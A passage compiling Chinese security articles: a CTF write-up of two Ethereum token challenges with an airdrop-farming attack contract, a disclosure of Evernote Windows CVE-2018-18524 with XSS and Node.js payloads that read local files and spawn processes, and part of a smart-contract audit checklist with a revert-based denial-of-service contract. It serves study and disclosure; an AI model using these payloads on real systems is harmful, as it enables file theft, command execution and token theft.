下面的所有题目都布在ropsten上,其实是为了参赛者体验好一点儿,毕竟要涉及到看events和源码。有兴趣还可以去看。

ez2win

0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten
D2GBToken is onsale. we will airdrop each person 10 D2GBTOKEN. You can transcat with others as you like.
only winner can get more than 10000000, but no one can do it.

function PayForFlag(string b64email) public payable returns (bool success){
    require (_balances[msg.sender] &gt; 10000000);
      emit GetFlag(b64email, "Get flag!");
  }

hint1:you should recover eht source code first. and break all eht concepts you've already hold 
hint2: now open source for you, and its really ez

sloved:15
score:527.78

ez2win,除了漏洞点以外是一份超级标准的代币合约,加上一个单词,你也可以用这份合约去发行一份属于自己的合约代币。

让我们来看看代码

pragma solidity ^0.4.24;

/**
 * @title ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/20
 */
interface IERC20 {
  function totalSupply() external view returns (uint256);

  function balanceOf(address who) external view returns (uint256);

  function allowance(address owner, address spender)
    external view returns (uint256);

  function transfer(address to, uint256 value) external returns (bool);

  function approve(address spender, uint256 value)
    external returns (bool);

  function transferFrom(address from, address to, uint256 value)
    external returns (bool);

  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value
  );

  event Approval(
    address indexed owner,
    address indexed spender,
    uint256 value
  );

  event GetFlag(
    string b64email,
    string back
  );
}

/**
 * @title SafeMath
 * @dev Math operations with safety checks that revert on error
 */
library SafeMath {

  /**
  * @dev Multiplies two numbers, reverts on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b);

    return c;
  }

  /**
  * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b &gt; 0); // Solidity only automatically asserts when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
  * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b &lt;= a);
    uint256 c = a - b;

    return c;
  }

  /**
  * @dev Adds two numbers, reverts on overflow.
  */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c &gt;= a);

    return c;
  }
}

/**
 * @title Standard ERC20 token
 *
 * @dev Implementation of the basic standard token.
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
 */
contract ERC20 is IERC20 {
  using SafeMath for uint256;

  mapping (address =&gt; uint256) public _balances;

  mapping (address =&gt; mapping (address =&gt; uint256)) public _allowed;

  mapping(address =&gt; bool) initialized;

  uint256 public _totalSupply;

  uint256 public constant _airdropAmount = 10;

  /**
  * @dev Total number of tokens in existence
  */
  function totalSupply() public view returns (uint256) {
    return _totalSupply;
  }

  /**
  * @dev Gets the balance of the specified address.
  * @param owner The address to query the balance of.
  * @return An uint256 representing the amount owned by the passed address.
  */
  function balanceOf(address owner) public view returns (uint256) {
    return _balances[owner];
  }

  // airdrop
  function AirdropCheck() internal returns (bool success){
     if (!initialized[msg.sender]) {
            initialized[msg.sender] = true;
            _balances[msg.sender] = _airdropAmount;
            _totalSupply += _airdropAmount;
        }
        return true;
  }

  /**
   * @dev Function to check the amount of tokens that an owner allowed to a spender.
   * @param owner address The address which owns the funds.
   * @param spender address The address which will spend the funds.
   * @return A uint256 specifying the amount of tokens still available for the spender.
   */
  function allowance(
    address owner,
    address spender
   )
    public
    view
    returns (uint256)
  {
    return _allowed[owner][spender];
  }

  /**
  * @dev Transfer token for a specified address
  * @param to The address to transfer to.
  * @param value The amount to be transferred.
  */
  function transfer(address to, uint256 value) public returns (bool) {
    AirdropCheck();
    _transfer(msg.sender, to, value);
    return true;
  }

  /**
   * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
   * Beware that changing an allowance with this method brings the risk that someone may use both the old
   * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
   * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   * @param spender The address which will spend the funds.
   * @param value The amount of tokens to be spent.
   */
  function approve(address spender, uint256 value) public returns (bool) {
    require(spender != address(0));

    AirdropCheck();
    _allowed[msg.sender][spender] = value;
    return true;
  }

  /**
   * @dev Transfer tokens from one address to another
   * @param from address The address which you want to send tokens from
   * @param to address The address which you want to transfer to
   * @param value uint256 the amount of tokens to be transferred
   */
  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool)
  {
    require(value &lt;= _allowed[from][msg.sender]);
    AirdropCheck();

    _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
    _transfer(from, to, value);
    return true;
  }

  /**
  * @dev Transfer token for a specified addresses
  * @param from The address to transfer from.
  * @param to The address to transfer to.
  * @param value The amount to be transferred.
  */
  function _transfer(address from, address to, uint256 value) {
    require(value &lt;= _balances[from]);
    require(to != address(0));

    _balances[from] = _balances[from].sub(value);
    _balances[to] = _balances[to].add(value);
  }
}

contract D2GBToken is ERC20 {

  string public constant name = "D2GBToken";
  string public constant symbol = "D2GBToken";
  uint8 public constant decimals = 18;

  uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

  /**
  * @dev Constructor that gives msg.sender all of existing tokens.
  */
  constructor() public {
    _totalSupply = INITIAL_SUPPLY;
    _balances[msg.sender] = INITIAL_SUPPLY;
    emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
  }


  //flag
  function PayForFlag(string b64email) public payable returns (bool success){

    require (_balances[msg.sender] &gt; 10000000);
      emit GetFlag(b64email, "Get flag!");
  }
}

每个用户都会空投10 D2GBToken作为初始资金,合约里基本都是涉及到转账的函数,常用的转账函数是

function transfer(address to, uint256 value) public returns (bool) {
    AirdropCheck();
    _transfer(msg.sender, to, value);
    return true;
  }

  function transferFrom(address from, address to, uint256 value) public returns (bool) {
    require(value &lt;= _allowed[from][msg.sender]);
    AirdropCheck();

    _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
    _transfer(from, to, value);
    return true;
  }

可见,transfer默认指定了msg.sender作为发信方,无法绕过。

transferFrom触发转账首先需要用approvel授权,这是一个授权函数,只能转账授权额度,也不存在问题。

唯一的问题就是

function _transfer(address from, address to, uint256 value) {
    require(value &lt;= _balances[from]);
    require(to != address(0));

    _balances[from] = _balances[from].sub(value);
    _balances[to] = _balances[to].add(value);
  }

在solidity中,未定义函数权限的,会被部署为public,那么这个原本的私有函数就可以被任意调用,直接调用_transfer从owner那里转账过来即可。

bet2loss

bet2loss是我在审计dice2win类源码的时候发现的问题,可惜出题失误了,这里主要讨论非预期解吧。

Description 
0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open source 

D2GBToken is onsale. Now New game is coming.
We’ll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.

solved: 5
score: 735.09

我们来看看代码,这次附上带有注释版本的

pragma solidity ^0.4.24;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that revert on error
 */
library SafeMath {

    /**
    * @dev Multiplies two numbers, reverts on overflow.
    */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b);

        return c;
    }

    /**
    * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
    */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b &gt; 0); // Solidity only automatically asserts when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
    * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
    */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b &lt;= a);
        uint256 c = a - b;

        return c;
    }

    /**
    * @dev Adds two numbers, reverts on overflow.
    */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c &gt;= a);

        return c;
    }
}

/**
 * @title Standard ERC20 token
 *
 * @dev Implementation of the basic standard token.
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
 */
contract ERC20{
    using SafeMath for uint256;

    mapping (address =&gt; uint256) public balances;

    uint256 public _totalSupply;

    /**
    * @dev Total number of tokens in existence
    */
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    /**
    * @dev Gets the balance of the specified address.
    * @param owner The address to query the balance of.
    * @return An uint256 representing the amount owned by the passed address.
    */
    function balanceOf(address owner) public view returns (uint256) {
        return balances[owner];
    }

    function transfer(address _to, uint _value) public returns (bool success){
        balances[msg.sender] = balances[msg.sender].sub(_value);
        balances[_to] = balances[_to].add(_value);

        return true;
    }
}

contract B2GBToken is ERC20 {

    string public constant name = "test";
    string public constant symbol = "test";
    uint8 public constant decimals = 18;
    uint256 public constant _airdropAmount = 1000;

    uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

    mapping(address =&gt; bool) initialized;
    /**
    * @dev Constructor that gives msg.sender all of existing tokens.
    */
    constructor() public {
        initialized[msg.sender] = true;
        _totalSupply = INITIAL_SUPPLY;
        balances[msg.sender] = INITIAL_SUPPLY;
    }

    // airdrop
    function AirdropCheck() internal returns (bool success){
         if (!initialized[msg.sender]) {
            initialized[msg.sender] = true;
            balances[msg.sender] = _airdropAmount;
            _totalSupply += _airdropAmount;
        }
        return true;
    }
}

// 主要代码
contract Bet2Loss is B2GBToken{
        /// *** Constants section

        // Bets lower than this amount do not participate in jackpot rolls (and are
        // not deducted JACKPOT_FEE).
        uint constant MIN_JACKPOT_BET = 0.1 ether;

        // There is minimum and maximum bets.
        uint constant MIN_BET = 1;
        uint constant MAX_BET = 100000;

        // Modulo is a number of equiprobable outcomes in a game:
        //  - 2 for coin flip
        //  - 6 for dice
        //  - 6*6 = 36 for double dice
        //  - 100 for etheroll
        //  - 37 for roulette
        //  etc.
        // It's called so because 256-bit entropy is treated like a huge integer and
        // the remainder of its division by modulo is considered bet outcome.
        uint constant MAX_MODULO = 100;

        // EVM BLOCKHASH opcode can query no further than 256 blocks into the
        // past. Given that settleBet uses block hash of placeBet as one of
        // complementary entropy sources, we cannot process bets older than this
        // threshold. On rare occasions dice2.win croupier may fail to invoke
        // settleBet in this timespan due to technical issues or extreme Ethereum
        // congestion; such bets can be refunded via invoking refundBet.
        uint constant BET_EXPIRATION_BLOCKS = 250;

        // Some deliberately invalid address to initialize the secret signer with.
        // Forces maintainers to invoke setSecretSigner before processing any bets.
        address constant DUMMY_ADDRESS = 0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C;

        // Standard contract ownership transfer.
        address public owner;
        address private nextOwner;

        // Adjustable max bet profit. Used to cap bets against dynamic odds.
        uint public maxProfit;

        // The address corresponding to a private key used to sign placeBet commits.
        address public secretSigner;

        // Accumulated jackpot fund.
        uint128 public jackpotSize;

        // Funds that are locked in potentially winning bets. Prevents contract from
        // committing to bets it cannot pay out.
        uint128 public lockedInBets;

        // A structure representing a single bet.
        struct Bet {
                // Wager amount in wei.
                uint betnumber;
                // Modulo of a game.
                uint8 modulo;
                // Block number of placeBet tx.
                uint40 placeBlockNumber;
                // Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment).
                uint40 mask;
                // Address of a gambler, used to pay out winning bets.
                address gambler;
        }

        // Mapping from commits to all currently active &amp; processed bets.
        mapping (uint =&gt; Bet) bets;

        // Events that are issued to make statistic recovery easier.
        event FailedPayment(address indexed beneficiary, uint amount);
        event Payment(address indexed beneficiary, uint amount);

        // This event is emitted in placeBet to record commit in the logs.
        event Commit(uint commit);

        event GetFlag(
            string b64email,
            string back
        );

        // Constructor. Deliberately does not take any parameters.
        constructor () public {
                owner = msg.sender;
                secretSigner = DUMMY_ADDRESS;
        }

        // Standard modifier on methods invokable only by contract owner.
        modifier onlyOwner {
                require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
                _;
        }

        // See comment for "secretSigner" variable.
        function setSecretSigner(address newSecretSigner) external onlyOwner {
                secretSigner = newSecretSigner;
        }

        /// *** Betting logic

        // Bet states:
        //  amount == 0 &amp;&amp; gambler == 0 - 'clean' (can place a bet)
        //  amount != 0 &amp;&amp; gambler != 0 - 'active' (can be settled or refunded)
        //  amount == 0 &amp;&amp; gambler != 0 - 'processed' (can clean storage)
        //
        //  NOTE: Storage cleaning is not implemented in this contract version; it will be added
        //              with the next upgrade to prevent polluting Ethereum state with expired bets.

        // Bet placing transaction - issued by the player.
        //  betMask              - bet outcomes bit mask for modulo &lt;= MAX_MASK_MODULO,
        //                                      [0, betMask) for larger modulos.
        //  modulo                  - game modulo.
        //  commitLastBlock - number of the maximum block where "commit" is still considered valid.
        //  commit                  - Keccak256 hash of some secret "reveal" random number, to be supplied
        //                                      by the dice2.win croupier bot in the settleBet transaction. Supplying
        //                                      "commit" ensures that "reveal" cannot be changed behind the scenes
        //                                      after placeBet have been mined.
        //  r, s                        - components of ECDSA signature of (commitLastBlock, commit). v is
        //                                      guaranteed to always equal 27.
        //
        // Commit, being essentially random 256-bit number, is used as a unique bet identifier in
        // the 'bets' mapping.
        //
        // Commits are signed with a block limit to ensure that they are used at most once - otherwise
        // it would be possible for a miner to place a bet with a known commit/reveal pair and tamper
        // with the blockhash. Croupier guarantees that commitLastBlock will always be not greater than
        // placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details.
        function placeBet(uint betMask, uint modulo, uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v) external payable {
                // betmask是赌的数
                // modulo是总数/倍数
                // commitlastblock 最后一个能生效的blocknumber
                // 随机数签名hash, r, s

                // airdrop
                AirdropCheck();

                // Check that the bet is in 'clean' state.
                Bet storage bet = bets[commit];
                require (bet.gambler == address(0), "Bet should be in a 'clean' state.");

                // check balances &gt; betmask
                require (balances[msg.sender] &gt;= betnumber, "no more balances");

                // Validate input data ranges.
                require (modulo &gt; 1 &amp;&amp; modulo &lt;= MAX_MODULO, "Modulo should be within range.");
                require (betMask &gt;= 0 &amp;&amp; betMask &lt; modulo, "Mask should be within range.");
                require (betnumber &gt; 0 &amp;&amp; betnumber &lt; 1000, "BetNumber should be within range.");


                // Check that commit is valid - it has not expired and its signature is valid.
                require (block.number &lt;= commitLastBlock, "Commit has expired.");
                bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
                require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.");

                // Winning amount and jackpot increase.
                uint possibleWinAmount;

                possibleWinAmount = getDiceWinAmount(betnumber, modulo);

                // Lock funds.
                lockedInBets += uint128(possibleWinAmount);

                // Check whether contract has enough funds to process this bet.
                require (lockedInBets &lt;= balances[owner], "Cannot afford to lose this bet.");


                balances[msg.sender] = balances[msg.sender].sub(betnumber);
                // Record commit in logs.
                emit Commit(commit);

                // Store bet parameters on blockchain.
                bet.betnumber = betnumber;
                bet.modulo = uint8(modulo);
                bet.placeBlockNumber = uint40(block.number);
                bet.mask = uint40(betMask);
                bet.gambler = msg.sender;
        }

        // This is the method used to settle 99% of bets. To process a bet with a specific
        // "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
        // "commit". it
        // is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.
        function settleBet(uint reveal) external {
                AirdropCheck();

                uint commit = uint(keccak256(abi.encodePacked(reveal)));

                Bet storage bet = bets[commit];
                uint placeBlockNumber = bet.placeBlockNumber;

                // Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
                require (block.number &gt; placeBlockNumber, "settleBet in the same block as placeBet, or before.");
                require (block.number &lt;= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");

                // Settle bet using reveal as entropy sources.
                settleBetCommon(bet, reveal);
        }


        // Common settlement code for settleBet &amp; settleBetUncleMerkleProof.
        function settleBetCommon(Bet storage bet, uint reveal) private {
                // Fetch bet parameters into local variables (to save gas).
                uint betnumber = bet.betnumber;
                uint mask = bet.mask;
                uint modulo = bet.modulo;
                uint placeBlockNumber = bet.placeBlockNumber;
                address gambler = bet.gambler;

                // Check that bet is in 'active' state.
                require (betnumber != 0, "Bet should be in an 'active' state");

                // The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners
                // are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256
                // preimage is intractable), and house is unable to alter the "reveal" after
                // placeBet have been mined (as Keccak256 collision finding is also intractable).
                bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));

                // Do a roll by taking a modulo of entropy. Compute winning amount.
                uint dice = uint(entropy) % modulo;

                uint diceWinAmount;
                diceWinAmount = getDiceWinAmount(betnumber, modulo);

                uint diceWin = 0;

                if (dice == mask){
                    diceWin = diceWinAmount;
                }

                // Unlock the bet amount, regardless of the outcome.
                lockedInBets -= uint128(diceWinAmount);

                // Send the funds to gambler.
                sendFunds(gambler, diceWin == 0 ? 1 wei : diceWin , diceWin);
        }

        // Get the expected win amount after house edge is subtracted.
        function getDiceWinAmount(uint amount, uint modulo) private pure returns (uint winAmount) {
            winAmount = amount * modulo;
        }

        // 付奖金
        function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
            transfer(beneficiary, amount);
            emit Payment(beneficiary, successLogAmount);
        }
        //flag
        function PayForFlag(string b64email) public payable returns (bool success){

            require (balances[msg.sender] &gt; 10000000);
            emit GetFlag(b64email, "Get flag!");
        }
}

这是一个比较经典的赌博合约,用的是市面上比较受认可的hash-reveal-commit模式来验证随机数。在之前的dice2win分析中,我讨论过这个制度的合理性,除非选择终止,否则可以保证一定程度的公平。

https://lorexxar.cn/2018/10/18/dice2win-safe/

代码比较长,我在修改dice2win的时候还留了很多无用代码,可以不用太纠结。流程大致如下:

1、在页面中点击下注

2、后端生成随机数,然后签名,饭后commit, r, s, v

# 随机数
    reveal = random_num()
    result['commit'] = "0x"+sha3.keccak_256(bytes.fromhex(binascii.hexlify(reveal.to_bytes(32, 'big')).decode('utf-8'))).hexdigest()

    # web3获取当前blocknumber
    result['commitLastBlock'] = w3.eth.blockNumber + 250

    message = binascii.hexlify(result['commitLastBlock'].to_bytes(32,'big')).decode('utf-8')+result['commit'][2:]
    message_hash = '0x'+sha3.keccak_256(bytes.fromhex(message)).hexdigest()

    signhash = w3.eth.account.signHash(message_hash, private_key=private_key)

    result['signature'] = {}
    result['signature']['r'] = '0x' + binascii.hexlify((signhash['r']).to_bytes(32,'big')).decode('utf-8')
    result['signature']['s'] = '0x' + binascii.hexlify((signhash['s']).to_bytes(32,'big')).decode('utf-8')

    result['signature']['v'] = signhash['v']

3、回到前端,web3.js配合返回的数据,想meta发起交易,交易成功被打包之后向后台发送请求settlebet。

4、后端收到请求之后对该commit做开奖

transaction = bet2loss.functions.settleBet(int(reveal)).buildTransaction(
    {'chainId': 3, 'gas': 70000, 'nonce': nonce, 'gasPrice': w3.toWei('1', 'gwei')})

signed = w3.eth.account.signTransaction(transaction, private_key)

result = w3.eth.sendRawTransaction(signed.rawTransaction)

5、开奖成功

在这个过程中,用户得不到随机数,服务端也不能对随机数做修改,这就是现在比较常用的hash-reveal-commit随机数生成方案。

整个流程逻辑比较严谨。但有一个我预留的问题,空投

在游戏中,我设定了每位参赛玩家都会空投1000个D2GB,而且没有设置上限,如果注册10000个账号,然后转账给一个人,那么你就能获得相应的token,这个操作叫薅羊毛,曾经出过不少这样的事情。

https://paper.seebug.org/646/

这其中有些很有趣的操作,首先,如果你一次交易一次交易去跑,加上打包的时间,10000次基本上不可能。

所以新建一个合约,然后通过合约来新建合约转账才有可能实现。

这其中还有一个很有趣的问题,循环新建合约,在智能合约中是一个消耗gas很大的操作。如果一次交易耗费的gas过大,那么交易就会失败,它就不会被打包。

简单的测试可以发现,大约50次循环左右gas刚好够用。攻击代码借用了@sissel的

pragma solidity ^0.4.20;
contract Attack_7878678 {
//    address[] private son_list;

    function Attack_7878678() payable {}

    function attack_starta(uint256 reveal_num) public {
        for(int i=0;i&lt;=50;i++){
            son = new Son(reveal_num);
        }
    }

    function () payable {
    }
}

contract Son_7878678 {

    function Son_7878678(uint256 reveal_num) payable {
        address game = 0x006b9bc418e43e92cf8d380c56b8d4be41fda319;
        game.call(bytes4(keccak256("settleBet(uint256)")),reveal_num);
        game.call(bytes4(keccak256("transfer(address,uint256)")),0x5FA2c80DB001f970cFDd388143b887091Bf85e77,950);
    }
    function () payable{
    }
}

跑个200次就ok了


 

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/740/

原文阅读

印象笔记 Windows 客户端 6.15 本地文件读取和远程命令执行漏洞(CVE-2018-18524)
Elfinx 2018-11-6 2:53 转存
作者: dawu@知道创宇404实验室
时间: 2018/10/24
English Version

0x00 漏洞简介

  1. 印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。
  2. 由于只修复了 XSS 的入口点而没有在出口处添加过滤,导致攻击者可以在 6.14 版本的客户端中生成储存型 XSS并在 6.15 版本中触发。
  3. 印象笔记的展示模式是使用 NodeWebKit 实现的,通过储存型 XSS 可以在展示模式下注入 Nodejs 代码。
  4. 经过各种尝试,最终通过注入的 Nodejs 代码实现了本地文件读取和远程命令执行。

0x01 前言

2018/09/20,我当时的同事@sebao告诉我印象笔记修复了他的 XSS 漏洞并登上了名人堂,碰巧国庆的时候考古过几个客户端 XSS 导致命令执行的案例,就想在印象笔记客户端也寻找一下类似的问题。在之后的测试过程中,我不仅发现原本的 XSS 修复方案存在漏洞、利用这个 XSS 漏洞实现了本地文件读取和远程命令执行,还通过分享笔记的功能实现了远程攻击。

0x02 印象笔记 Windows 客户端 6.14 储存型 XSS 漏洞

@sebao 发现的储存型 XSS 漏洞的触发方式如下: 1. 在笔记中添加一张图片 2. 右键并将该图片更名为 " onclick="alert(1)">.jpg" 3. 双击打开该笔记并点击图片,成功弹框。

经过测试,印象笔记官方修复该 XSS 的方式为:在更名处过滤了 ><" 等特殊字符,但有意思的是我在 6.14 版本下测试的 XSS 在 6.15 版本中依旧可以弹框,这也就意味着:官方只修了 XSS 的入口,在 XSS 的输出位置,依旧是没有任何过滤的。

0x03 演示模式下的 Nodejs 代码注入

XSS 修复方案存在漏洞并不能算是一个很严重的安全问题,所以我决定深入挖掘一下其他的漏洞,比如本地文件读取或者远程命令执行。为了方便测试,我在 6.14 版本的客户端中将一张图片更名为 " onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg 后,将客户端升级为最新版 6.15。

我测试了一些特殊的 API,例如evernote.openAttachmentgoog.loadModuleFromUrl,但是没有显著的收获。所以我转换了思路,遍历 C:\\Program Files(x86)\Evernote\Evernote\ 目录下的所有文件。我发现印象笔记在 C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit 目录下存在 NodeWebKit,在演示的时候,印象笔记会调用这个 NodeWebKit

一个更好的消息是我可以通过之前发现的储存型 XSS 在 NodeWebKit 中执行 Nodejs 代码。

0x04 本地文件读取 和 远程命令执行的实现

既然可以注入 Nodejs 代码,那就意味着我可以尝试使用 child_process 来执行任意命令。

我尝试使用 require('child_process').exec,但是却报错了: Module name "child_process" has not been loaded yet for context

这个错误并没有浇灭我刚发现 Nodejs 代码注入的激情,我在查阅各种资料尝试 解决/绕过 这个问题。最终,我发现了前人的足迹:How we exploited a remote code execution vulnerability in math.js

根据文中的内容,简单的修改读取本地文件的 payload 很快就实现了相应的功能:

alert("Try to read C:\\\\Windows\\win.ini");
try{
  var buffer = new Buffer(8192);
  process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096); 
  alert(buffer);
}
catch(err){
  alert(err);
}

但是在尝试远程命令执行的时候,我遇到了一些问题。由于并不了解 Nodejs,所以我不知道为什么 NodeWebkit 中没有 ObjectArray,也不知道如何解决这个问题。我听取了文中的建议,尝试去理解 child_process的源码,并且查找 spawn_sync 相关的用法。

最终,我从 window.process.env 中获取到 env 的内容,并使用 spawn_sync 成功地弹出了计算器。

// command executed
try{
  spawn_sync = process.binding('spawn_sync');
  envPairs = [];
  for (var key in window.process.env) {
    envPairs.push(key + '=' + window.process.env[key]);
  }
  args = [];

  const options = {
    file: 'C:\\\\Windows\\system32\\calc.exe',
    args: args,
    envPairs: envPairs,
    stdio: [
      { type: 'pipe', readable: true, writable: false },
      { type: 'pipe', readable: false, writable: true },
      { type: 'pipe', readable: false, writable: true } 
    ]
  };
  spawn_sync.spawn(options);
}
catch(err){
  alert(err);
}

0x05 通过分享功能攻击其他用户

在我实现了本地文件读取和本机命令执行后,黑哥提出了一个更高的要求:证明这个漏洞可以影响到其他用户。

在注册了一个小号后,我尝试使用分享功能将 恶意笔记 分享给 ”他人“。

我的小号将会在 工作空间 收到别人发来的消息。

我的小号尝试演示这个笔记,被注入的 Nodejs 代码成功执行!

0x06 感谢

0x07 时间线

2018/09/27,发现相关漏洞,攥写报告并发送至 security@evernote.com
2018/09/27,官方确认漏洞
2018/10/15,官方在 beta 版本 6.16.1 https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/ 中修复相关漏洞,并将我的名字加入名人堂。
2018/10/19,在和官方沟通后,自行申请CVE,编号为:CVE-2018-18524
2018/11/05,Evernote 官方发布 正式版本 6.16.4,确认该漏洞被修复后公开漏洞细节。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/736/

原文阅读

以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告
Elfinx 2018-11-6 2:30 转存
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年11月1日
系列文章:

一、简介

在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,我们把超过10个问题点归结为开发者容易忽略的问题隐患,其中包括“语法特性”、“数据私密性”、“数据可靠性”、“gas消耗优化”、“合约用户”、“日志记录”、“回调函数”、“Owner权限”、“用户鉴权”、 “条件竞争”等,统一归类为“以太坊智能合约编码隐患”。

“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台,目前已经集成了部分基于opcode的审计功能。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码隐患”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

二、漏洞详情

以太坊智能合约是以太坊概念中非常重要的一个概念,以太坊实现了基于solidity语言的以太坊虚拟机(Ethereum Virtual Machine),它允许用户在链上部署智能合约代码,通过智能合约可以完成人们想要的合约。

这次我们提到的问题多数属于智能合约独有问题,与我们常见的各类代码不同,在编写智能合约代码时还需要考虑多种问题。

1、语法特性

在智能合约中小心整数除法的向下取整问题

在智能合约中,所有的整数除法都会向下取整到最接近的整数,当我们需要更高的精度时,我们需要使用乘数来加大这个数字。

该问题如果在代码中显式出现,编译器会提出问题警告,无法继续编译,但如果隐式出现,将会采取向下取整的处理方式。

错误样例

uint x = 5 / 2; // 2
正确代码

uint multiplier = 10;
uint x = (5 * multiplier) / 2;

2、数据私密性

在合约中,所有的数据都是公开的。包括私有变量等,不得将任何带有私密性的数据储存在链上。

3、数据可靠性

在合约中,许多开发者习惯用时间戳来做判断条件,例如

uint someVariable = now + 1;

if (now % 2 == 0) { // now可能被矿工控制

}

now、block_timestamp会被矿工所控制,并不可靠。

4、gas消耗优化

contract EUXLinkToken is ERC20 {
    using SafeMath for uint256;
    address owner = msg.sender;
    mapping (address =&gt; uint256) balances;
    mapping (address =&gt; mapping (address =&gt; uint256)) allowed;
    mapping (address =&gt; bool) public blacklist;
    string public constant name = "xx";
    string public constant symbol = "xxx";
    uint public constant decimals = 8;
    uint256 public totalSupply = 1000000000e8;
    uint256 public totalDistributed = 200000000e8;
    uint256 public totalPurchase = 200000000e8;
    uint256 public totalRemaining = totalSupply.sub(totalDistributed).sub(totalPurchase);
    uint256 public value = 5000e8;
    uint256 public purchaseCardinal = 5000000e8;
    uint256 public minPurchase = 0.001e18;
    uint256 public maxPurchase = 10e18;

在合约中,涉及到状态变化的代码会消耗更多的,为了经可能优化gas消耗,对于不涉及状态变化的变量应该加constant来限制

5、合约用户

合约中,交易目标可能为合约,因此可能会产生的各种恶意利用。

contract Auction{
    address public currentLeader;
    uint256 public hidghestBid;
    function bid() public payable {
        require(msg.value &gt; highestBid);
        require(currentLeader.send(highestBid));
        currentLeader = msg.sender;
        highestBid = currentLeader;
    }
}

上述合约就是一个典型的没有考虑合约为用户时的情况,这是一个简单的竞拍争夺王位的代码。当交易ether大于合约内的highestBid,当前用户就会成为合约当前的"王",他的交易额也会成为新的highestBid。

contract Attack {
    function () { revert(); }
    function Attack(address _target) payable {
        _target.call.value(msg.value)(bytes4(keccak256("bid()")));
    }
}

但当新的用户试图成为新的“王”时,当代码执行到require(currentLeader.send(highestBid));时,合约中的fallback函数会触发,如果攻击者在fallback函数中加入revert()函数,那么交易就会返回false,即永远无法完成交易,那么当前合约就会一直成为合约当前的"王"。

6、日志记录

